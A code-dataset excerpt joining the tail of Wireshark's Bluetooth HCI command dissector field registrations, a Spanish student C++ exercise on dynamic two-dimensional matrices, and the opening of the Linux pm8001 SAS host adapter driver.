{ &hf_btcommon_eir_ad_3ds_factory_test_mode,
{ "3DS Factory Test Mode", "btcommon.eir_ad.entry.3ds.factory_test_mode",
FT_BOOLEAN, 8, NULL, 0x80,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_path_loss_threshold,
{ "3DS Path Loss Threshold", "btcommon.eir_ad.entry.3ds.path_loss_threshold",
FT_UINT8, BASE_DEC, NULL, 0x00,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_legacy_fixed,
{ "3DS Legacy Fixed", "btcommon.eir_ad.entry.3ds_legacy.fixed_byte",
FT_UINT8, BASE_DEC, NULL, 0x00,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_legacy_3d_capable_tv,
{ "3DS Legacy Capable TV", "btcommon.eir_ad.entry.3ds_legacy.capable_tv",
FT_BOOLEAN, 8, NULL, 0x01,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_legacy_ignored_1_3,
{ "3DS Legacy Ignored", "btcommon.eir_ad.entry.3ds_legacy.ignored.1_3",
FT_BOOLEAN, 8, NULL, 0x0E,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_legacy_fixed_4,
{ "3DS Legacy Fixed", "btcommon.eir_ad.entry.3ds_legacy.fixed.4",
FT_BOOLEAN, 8, NULL, 0x10,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_legacy_ignored_5,
{ "3DS Legacy Ignored", "btcommon.eir_ad.entry.3ds_legacy.ignored.5",
FT_BOOLEAN, 8, NULL, 0x20,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_legacy_fixed_6,
{ "3DS Legacy Fixed", "btcommon.eir_ad.entry.3ds_legacy.fixed.4",
FT_BOOLEAN, 8, NULL, 0x40,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_legacy_test_mode,
{ "3DS Legacy Test Mode", "btcommon.eir_ad.entry.3ds_legacy.test_mode",
FT_BOOLEAN, 8, NULL, 0x80,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_legacy_path_loss_threshold,
{ "3DS Legacy Path Loss Threshold", "btcommon.eir_ad.entry.3ds_legacy.path_loss_threshold",
FT_UINT8, BASE_DEC, NULL, 0x00,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_advertising_interval,
{ "Advertising Interval", "btcommon.eir_ad.entry.advertising_interval",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_appearance,
{ "Appearance", "btcommon.eir_ad.entry.appearance",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_appearance_vals_ext, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_hash_c,
{"Hash C", "btcommon.eir_ad.entry.hash_c",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btcommon_eir_ad_randomizer_r,
{"Randomizer R", "btcommon.eir_ad.entry.randomizer_r",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btcommon_eir_ad_oob_flags_reserved,
{ "Reserved", "btcommon.eir_ad.entry.oob_flags.oob_reserved",
FT_UINT8, BASE_HEX, NULL, 0xF0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_oob_flags_address_type,
{ "Address Type", "btcommon.eir_ad.entry.oob_flags.oob_address_type",
FT_UINT8, BASE_HEX, VALS(bthci_cmd_address_types_vals), 0x08,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_oob_flags_le_bredr_support,
{ "Simultaneous LE and BR/EDR to Same Device Capable (Host)", "btcommon.eir_ad.entry.oob_flags.oob_le_bredr_support",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_oob_flags_le_supported_host,
{ "LE Supported By Host", "btcommon.eir_ad.entry.oob_flags.oob_le_supported_host",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_oob_flags_data_present,
{ "OOB Data Present", "btcommon.eir_ad.entry.oob_flags.oob_data_present",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_connection_interval_min,
{ "Connection Interval Min", "btcommon.eir_ad.entry.connection_interval_min",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_connection_interval_max,
{ "Connection Interval Max", "btcommon.eir_ad.entry.connection_interval_max",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_cod_class_of_device,
{ "Class of Device", "btcommon.cod.class_of_device",
FT_UINT24, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_information,
{ "Major Service Classes: Information", "btcommon.cod.major_service_classes.information",
FT_BOOLEAN, 16, NULL, 0x8000,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_telephony,
{ "Major Service Classes: Telephony", "btcommon.cod.major_service_classes.telephony",
FT_BOOLEAN, 16, NULL, 0x4000,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_audio,
{ "Major Service Classes: Audio", "btcommon.cod.major_service_classes.audio",
FT_BOOLEAN, 16, NULL, 0x2000,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_object_transfer,
{ "Major Service Classes: Object Transfer", "btcommon.cod.major_service_classes.object_transfer",
FT_BOOLEAN, 16, NULL, 0x1000,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_capturing,
{ "Major Service Classes: Capturing", "btcommon.cod.major_service_classes.capturing",
FT_BOOLEAN, 16, NULL, 0x0800,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_rendering,
{ "Major Service Classes: Rendering", "btcommon.cod.major_service_classes.rendering",
FT_BOOLEAN, 16, NULL, 0x0400,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_networking,
{ "Major Service Classes: Networking", "btcommon.cod.major_service_classes.networking",
FT_BOOLEAN, 16, NULL, 0x0200,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_positioning,
{ "Major Service Classes: Positioning", "btcommon.cod.major_service_classes.positioning",
FT_BOOLEAN, 16, NULL, 0x0100,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_reserved,
{ "Major Service Classes: Reserved", "btcommon.cod.major_service_classes.reserved",
FT_UINT16, BASE_HEX, NULL, 0x00C0,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_service_class_limited_discoverable_mode,
{ "Major Service Classes: Limited Discoverable Mode", "btcommon.cod.major_service_classes.limited_discoverable_mode",
FT_BOOLEAN, 16, NULL, 0x0020,
NULL, HFILL }
},
{ &hf_btcommon_cod_major_device_class,
{ "Major Device Class", "btcommon.cod.major_device_class",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_major_device_class_vals_ext, 0x1F,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_computer,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_computer_vals_ext, 0xFC,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_phone,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_phone_vals_ext, 0xFC,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_lan_net_load_factor,
{ "Minor Device Class: Load Factor", "btcommon.cod.minor_device_class.load_factor",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_lan_net_load_factor_vals_ext, 0xE0,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_lan_net_type,
{ "Minor Device Class: Type", "btcommon.cod.minor_device_class.type",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_lan_net_type_vals_ext, 0x1C,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_audio_video,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_audio_video_vals_ext, 0xFC,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_peripheral_class,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_peripheral_class_vals_ext, 0xC0,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_peripheral_type,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_peripheral_type_vals_ext, 0x3C,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_imaging_class_printer,
{ "Minor Device Class: Class: Printer", "btcommon.cod.minor_device_class.class.printer",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_imaging_type_vals_ext, 0x80,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_imaging_class_scanner,
{ "Minor Device Class: Class: Scanner", "btcommon.cod.minor_device_class.class.scanner",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_imaging_type_vals_ext, 0x40,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_imaging_class_camera,
{ "Minor Device Class: Class: Camera", "btcommon.cod.minor_device_class.class.camera",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_imaging_type_vals_ext, 0x20,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_imaging_class_display,
{ "Minor Device Class: Class: Display", "btcommon.cod.minor_device_class.class.display",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_imaging_type_vals_ext, 0x10,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_imaging_type,
{ "Minor Device Class: Type", "btcommon.cod.minor_device_class.type",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_imaging_type_vals_ext, 0x0C,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_wearable,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_wearable_vals_ext, 0xFC,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_toy,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_toy_vals_ext, 0xFC,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_health,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_cod_minor_device_class_health_vals_ext, 0xFC,
NULL, HFILL }
},
{ &hf_btcommon_cod_minor_device_class_unknown,
{ "Minor Device Class", "btcommon.cod.minor_device_class",
FT_UINT8, BASE_HEX, NULL, 0xFC,
NULL, HFILL }
},
{ &hf_btcommon_cod_format_type,
{ "Format Type", "btcommon.cod.format_type",
FT_UINT8, BASE_HEX, NULL, 0x03,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_39,
{ "RF Channel 39 (2480 MHz - Reserved for Advertising - 39)", "btcommon.le_channel_map.39",
FT_BOOLEAN, 8, NULL, 0x80,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_38,
{ "RF Channel 12 (2426 MHz - Reserved for Advertising - 38)", "btcommon.le_channel_map.38",
FT_BOOLEAN, 8, NULL, 0x40,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_37,
{ "RF Channel 0 (2402 MHz - Reserved for Advertising - 37)", "btcommon.le_channel_map.37",
FT_BOOLEAN, 8, NULL, 0x20,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_36,
{ "RF Channel 38 (2478 MHz - Data - 36)", "btcommon.le_channel_map.36",
FT_BOOLEAN, 8, NULL, 0x10,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_35,
{ "RF Channel 37 (2476 MHz - Data - 35)", "btcommon.le_channel_map.35",
FT_BOOLEAN, 8, NULL, 0x08,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_34,
{ "RF Channel 36 (2474 MHz - Data - 34)", "btcommon.le_channel_map.34",
FT_BOOLEAN, 8, NULL, 0x04,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_33,
{ "RF Channel 35 (2472 MHz - Data - 33)", "btcommon.le_channel_map.33",
FT_BOOLEAN, 8, NULL, 0x02,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_32,
{ "RF Channel 34 (2470 MHz - Data - 32)", "btcommon.le_channel_map.32",
FT_BOOLEAN, 8, NULL, 0x01,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_31,
{ "RF Channel 33 (2468 MHz - Data - 31)", "btcommon.le_channel_map.31",
FT_BOOLEAN, 8, NULL, 0x80,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_30,
{ "RF Channel 32 (2466 MHz - Data - 30)", "btcommon.le_channel_map.30",
FT_BOOLEAN, 8, NULL, 0x40,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_29,
{ "RF Channel 31 (2464 MHz - Data - 29)", "btcommon.le_channel_map.29",
FT_BOOLEAN, 8, NULL, 0x20,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_28,
{ "RF Channel 30 (2462 MHz - Data - 28)", "btcommon.le_channel_map.28",
FT_BOOLEAN, 8, NULL, 0x10,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_27,
{ "RF Channel 29 (2460 MHz - Data - 27)", "btcommon.le_channel_map.27",
FT_BOOLEAN, 8, NULL, 0x08,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_26,
{ "RF Channel 28 (2458 MHz - Data - 26)", "btcommon.le_channel_map.26",
FT_BOOLEAN, 8, NULL, 0x04,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_25,
{ "RF Channel 27 (2456 MHz - Data - 25)", "btcommon.le_channel_map.25",
FT_BOOLEAN, 8, NULL, 0x02,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_24,
{ "RF Channel 26 (2454 MHz - Data - 24)", "btcommon.le_channel_map.24",
FT_BOOLEAN, 8, NULL, 0x01,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_23,
{ "RF Channel 25 (2452 MHz - Data - 23)", "btcommon.le_channel_map.23",
FT_BOOLEAN, 8, NULL, 0x80,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_22,
{ "RF Channel 24 (2450 MHz - Data - 22)", "btcommon.le_channel_map.22",
FT_BOOLEAN, 8, NULL, 0x40,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_21,
{ "RF Channel 23 (2448 MHz - Data - 21)", "btcommon.le_channel_map.21",
FT_BOOLEAN, 8, NULL, 0x20,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_20,
{ "RF Channel 22 (2446 MHz - Data - 20)", "btcommon.le_channel_map.20",
FT_BOOLEAN, 8, NULL, 0x10,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_19,
{ "RF Channel 21 (2444 MHz - Data - 19)", "btcommon.le_channel_map.19",
FT_BOOLEAN, 8, NULL, 0x08,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_18,
{ "RF Channel 20 (2442 MHz - Data - 18)", "btcommon.le_channel_map.18",
FT_BOOLEAN, 8, NULL, 0x04,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_17,
{ "RF Channel 19 (2440 MHz - Data - 17)", "btcommon.le_channel_map.17",
FT_BOOLEAN, 8, NULL, 0x02,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_16,
{ "RF Channel 18 (2438 MHz - Data - 16)", "btcommon.le_channel_map.16",
FT_BOOLEAN, 8, NULL, 0x01,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_15,
{ "RF Channel 17 (2436 MHz - Data - 15)", "btcommon.le_channel_map.15",
FT_BOOLEAN, 8, NULL, 0x80,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_14,
{ "RF Channel 16 (2434 MHz - Data - 14)", "btcommon.le_channel_map.14",
FT_BOOLEAN, 8, NULL, 0x40,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_13,
{ "RF Channel 15 (2432 MHz - Data - 13)", "btcommon.le_channel_map.13",
FT_BOOLEAN, 8, NULL, 0x20,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_12,
{ "RF Channel 14 (2430 MHz - Data - 12)", "btcommon.le_channel_map.12",
FT_BOOLEAN, 8, NULL, 0x10,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_11,
{ "RF Channel 13 (2428 MHz - Data - 11)", "btcommon.le_channel_map.11",
FT_BOOLEAN, 8, NULL, 0x08,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_10,
{ "RF Channel 11 (2424 MHz - Data - 10)", "btcommon.le_channel_map.10",
FT_BOOLEAN, 8, NULL, 0x04,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_9,
{ "RF Channel 10 (2422 MHz - Data - 9)", "btcommon.le_channel_map.9",
FT_BOOLEAN, 8, NULL, 0x02,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_8,
{ "RF Channel 9 (2420 MHz - Data - 8)", "btcommon.le_channel_map.8",
FT_BOOLEAN, 8, NULL, 0x01,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_7,
{ "RF Channel 8 (2418 MHz - Data - 7)", "btcommon.le_channel_map.7",
FT_BOOLEAN, 8, NULL, 0x80,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_6,
{ "RF Channel 7 (2416 MHz - Data - 6)", "btcommon.le_channel_map.6",
FT_BOOLEAN, 8, NULL, 0x40,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_5,
{ "RF Channel 6 (2414 MHz - Data - 5)", "btcommon.le_channel_map.5",
FT_BOOLEAN, 8, NULL, 0x20,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_4,
{ "RF Channel 5 (2412 MHz - Data - 4)", "btcommon.le_channel_map.4",
FT_BOOLEAN, 8, NULL, 0x10,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_3,
{ "RF Channel 4 (2410 MHz - Data - 3)", "btcommon.le_channel_map.3",
FT_BOOLEAN, 8, NULL, 0x08,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_2,
{ "RF Channel 3 (2408 MHz - Data - 2)", "btcommon.le_channel_map.2",
FT_BOOLEAN, 8, NULL, 0x04,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_1,
{ "RF Channel 2 (2406 MHz - Data - 1)", "btcommon.le_channel_map.1",
FT_BOOLEAN, 8, NULL, 0x02,
NULL, HFILL }
},
{ &hf_btcommon_le_channel_map_0,
{ "RF Channel 1 (2404 MHz - Data - 0)", "btcommon.le_channel_map.0",
FT_BOOLEAN, 8, NULL, 0x01,
NULL, HFILL }
}
};
static gint *ett[] = {
&ett_eir_ad,
&ett_eir_ad_entry,
};
static ei_register_info ei[] = {
{ &ei_eir_ad_undecoded, { "btcommon.eir_ad.undecoded", PI_PROTOCOL, PI_UNDECODED, "Undecoded", EXPFILL }},
{ &ei_eir_ad_unknown, { "btcommon.eir_ad.unknown", PI_PROTOCOL, PI_WARN, "Unknown data", EXPFILL }},
};
proto_btcommon = proto_register_protocol("Bluetooth Common", "BT Common", "btcommon");
proto_register_field_array(proto_btcommon, hf, array_length(hf));
proto_register_subtree_array(ett, array_length(ett));
expert_module = expert_register_protocol(proto_btcommon);
expert_register_field_array(expert_module, ei, array_length(ei));
btcommon_ad_handle = new_register_dissector("btcommon.eir_ad.ad", dissect_btcommon_ad, proto_btcommon);
btcommon_eir_handle = new_register_dissector("btcommon.eir_ad.eir", dissect_btcommon_eir, proto_btcommon);
btcommon_cod_handle = new_register_dissector("btcommon.cod", dissect_btcommon_cod, proto_btcommon);
btcommon_le_channel_map_handle = new_register_dissector("btcommon.le_channel_map", dissect_btcommon_le_channel_map, proto_btcommon);
}
/*
* Editor modelines - http://www.wireshark.org/tools/modelines.html
*
* Local variables:
* c-basic-offset: 4
* tab-width: 8
* indent-tabs-mode: nil
* End:
*
* vi: set shiftwidth=4 tabstop=8 expandtab:
* :indentSize=4:tabSize=8:noTabs=true:
*/
|
weizhenwei/wireshark
|
epan/dissectors/packet-bthci_cmd.c
|
C
|
gpl-2.0
| 279,027
|
/******************************************************************************
*
* Metodología de la Programación
* Grado en Ingeniería Informática
*
* 2014 - Ernesto Serrano Collado
* ------------------------------
*
* Supongamos que para definir matrices bidimensionales dinamicas usamos una
* estructura como la que aparece en la figura 4(tipo Matriz2D-1). En los apuntes
* de clase se detalla como crear y liberar esta estructura.
* Nota: Recuerde que los modulos que procesan estructuras de este tipo necesitan
* recibir como parametros el numero de filas y columnas de la matriz.
*
* a) Construir un modulo que lea del teclado fils×cols valores y los copie en la
* matriz.
* b) Construir un modulo que muestre los valores guardados en la matriz.
* c) Construir un modulo que reciba una matriz de ese tipo, cree y devuelva una
* copia.
* d) Construir un modulo que extraiga una submatriz de una matriz bidimensional
* Matriz2D-1. Como argumento de la funcion se introduce desde que fila y
* columna y hasta que fila y columna se debe realizar la copia de la matriz
* original. La submatriz devuelta es una nueva matriz.
* e) Construir un modulo que elimine una fila de una matriz bidimensional
* Matriz2D-1. Obviamente, no se permiten “huecos” (filas vacias). El modulo
* devuelve una nueva matriz.
* f) Construir un modulo como el anterior,pero que en vez de eliminar una fila,
* elimine una columna. El modulo devuelve una nueva matriz.
* g) Construir un modulo que devuelva la traspuesta de una matriz. La matriz
* devuelta es una nueva matriz.
* h) Construir un modulo que reciba una matriz y la modifique, de tal manera
* que “invierta” las filas: la primera sera la ultima, la segunda la
* penultima, y asi sucesivamente. El modulo devuelve una nueva matriz.
*
******************************************************************************/
#include <iostream> //Inclusión de los recursos de E/S
#include <iomanip>
#include "Matriz2D_1.h"
using namespace std;
/*****************************************************************************/
//Programa Principal
int main(){
Matriz2D_1 m1; // "m1" matriz dinamicas 2D.
int filas, cols;
// Leer num. de filas y columnas
cout << "Numero de filas : ";
cin >> filas;
cout << "Numero de columnas : ";
cin >> cols;
// Crear matrices dinamicas
cout << "Creando Matriz ("<< filas << "X"<< cols << ")" << endl;
m1 = CreaMatriz2D_1 (filas, cols);
//Llena la matriz y muestra su contenido
m1 = LlenarMatriz2D_1(m1, filas, cols);
cout << endl << "Matriz Original:" << endl;
PintaMatriz2D_1 (m1, filas, cols);
//Copia la matriz y muestra su contenido
Matriz2D_1 copia_m1 = CopiaMatriz2D_1(m1, filas, cols);
cout << endl << "Copia Matriz:" << endl;
PintaMatriz2D_1 (copia_m1, filas, cols);
LiberaMatriz2D_1 (copia_m1, filas, cols);
int desde = 0, hasta = 2;
if (filas >= hasta && cols >= hasta) {
//Crea una submatriz y muestra su contenido
Matriz2D_1 sub_m1 = SubMatriz2D_1(m1, desde, desde, hasta, hasta);
cout << endl << "Sub Matriz:" << endl;
PintaMatriz2D_1 (sub_m1, hasta - desde, hasta - desde);
LiberaMatriz2D_1 (sub_m1, hasta - desde, hasta - desde);
}
//Elimina una fila de la matriz y muestra su contenido
Matriz2D_1 delf_m1 = EliminaFilaMatriz2D_1(m1, filas, cols, 0);
cout << endl << "Matriz con fila eliminada:" << endl;
PintaMatriz2D_1 (delf_m1, filas - 1, cols);
LiberaMatriz2D_1 (delf_m1, filas - 1, cols);
//Elimina una columna de la matriz y muestra su contenido
Matriz2D_1 delc_m1 = EliminaColumnaMatriz2D_1(m1, filas, cols, 0);
cout << endl << "Matriz con columna eliminada:" << endl;
PintaMatriz2D_1 (delc_m1, filas, cols - 1);
LiberaMatriz2D_1 (delc_m1, filas, cols - 1);
//Obtiene la traspuesta de la matriz y muestra su contenido
Matriz2D_1 tras_m1 = TraspuestaMatriz2D_1(m1, filas, cols);
cout << endl << "Traspuesta Matriz:" << endl;
PintaMatriz2D_1 (tras_m1, cols, filas);
LiberaMatriz2D_1 (tras_m1, cols, filas);
//Obtiene la inversa de la matriz y muestra su contenido
Matriz2D_1 inv_m1 = InvierteMatriz2D_1(m1, filas, cols);
cout << endl << "Matriz invertida:" << endl;
PintaMatriz2D_1 (inv_m1, filas, cols);
LiberaMatriz2D_1 (inv_m1, filas, cols);
// Liberar la memoria ocupada
cout << endl << "Liberando matriz" << endl;
LiberaMatriz2D_1 (m1, filas, cols);
return (0);
}
|
erseco/ugr_metodologia_programacion
|
Practica_5/src/ejercicio8.cpp
|
C++
|
gpl-2.0
| 4,558
|
/*
* PMC-Sierra SPC 8001 SAS/SATA based host adapters driver
*
* Copyright (c) 2008-2009 USI Co., Ltd.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions, and the following disclaimer,
* without modification.
* 2. Redistributions in binary form must reproduce at minimum a disclaimer
* substantially similar to the "NO WARRANTY" disclaimer below
* ("Disclaimer") and any redistribution must be conditioned upon
* including a substantially similar Disclaimer requirement for further
* binary redistribution.
* 3. Neither the names of the above-listed copyright holders nor the names
* of any contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* Alternatively, this software may be distributed under the terms of the
* GNU General Public License ("GPL") version 2 as published by the Free
* Software Foundation.
*
* NO WARRANTY
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR CONTRIBUTORS BE LIABLE FOR SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGES.
*
*/
#include <linux/slab.h>
#include "pm8001_sas.h"
#include "pm8001_hwi.h"
#include "pm8001_chips.h"
#include "pm8001_ctl.h"
/**
* read_main_config_table - read the configure table and save it.
* @pm8001_ha: our hba card information
*/
static void read_main_config_table(struct pm8001_hba_info *pm8001_ha)
{
void __iomem *address = pm8001_ha->main_cfg_tbl_addr;
pm8001_ha->main_cfg_tbl.pm8001_tbl.signature =
pm8001_mr32(address, 0x00);
pm8001_ha->main_cfg_tbl.pm8001_tbl.interface_rev =
pm8001_mr32(address, 0x04);
pm8001_ha->main_cfg_tbl.pm8001_tbl.firmware_rev =
pm8001_mr32(address, 0x08);
pm8001_ha->main_cfg_tbl.pm8001_tbl.max_out_io =
pm8001_mr32(address, 0x0C);
pm8001_ha->main_cfg_tbl.pm8001_tbl.max_sgl =
pm8001_mr32(address, 0x10);
pm8001_ha->main_cfg_tbl.pm8001_tbl.ctrl_cap_flag =
pm8001_mr32(address, 0x14);
pm8001_ha->main_cfg_tbl.pm8001_tbl.gst_offset =
pm8001_mr32(address, 0x18);
pm8001_ha->main_cfg_tbl.pm8001_tbl.inbound_queue_offset =
pm8001_mr32(address, MAIN_IBQ_OFFSET);
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_queue_offset =
pm8001_mr32(address, MAIN_OBQ_OFFSET);
pm8001_ha->main_cfg_tbl.pm8001_tbl.hda_mode_flag =
pm8001_mr32(address, MAIN_HDA_FLAGS_OFFSET);
/* read analog Setting offset from the configuration table */
pm8001_ha->main_cfg_tbl.pm8001_tbl.anolog_setup_table_offset =
pm8001_mr32(address, MAIN_ANALOG_SETUP_OFFSET);
/* read Error Dump Offset and Length */
pm8001_ha->main_cfg_tbl.pm8001_tbl.fatal_err_dump_offset0 =
pm8001_mr32(address, MAIN_FATAL_ERROR_RDUMP0_OFFSET);
pm8001_ha->main_cfg_tbl.pm8001_tbl.fatal_err_dump_length0 =
pm8001_mr32(address, MAIN_FATAL_ERROR_RDUMP0_LENGTH);
pm8001_ha->main_cfg_tbl.pm8001_tbl.fatal_err_dump_offset1 =
pm8001_mr32(address, MAIN_FATAL_ERROR_RDUMP1_OFFSET);
pm8001_ha->main_cfg_tbl.pm8001_tbl.fatal_err_dump_length1 =
pm8001_mr32(address, MAIN_FATAL_ERROR_RDUMP1_LENGTH);
}
/**
* read_general_status_table - read the general status table and save it.
* @pm8001_ha: our hba card information
*/
static void read_general_status_table(struct pm8001_hba_info *pm8001_ha)
{
void __iomem *address = pm8001_ha->general_stat_tbl_addr;
pm8001_ha->gs_tbl.pm8001_tbl.gst_len_mpistate =
pm8001_mr32(address, 0x00);
pm8001_ha->gs_tbl.pm8001_tbl.iq_freeze_state0 =
pm8001_mr32(address, 0x04);
pm8001_ha->gs_tbl.pm8001_tbl.iq_freeze_state1 =
pm8001_mr32(address, 0x08);
pm8001_ha->gs_tbl.pm8001_tbl.msgu_tcnt =
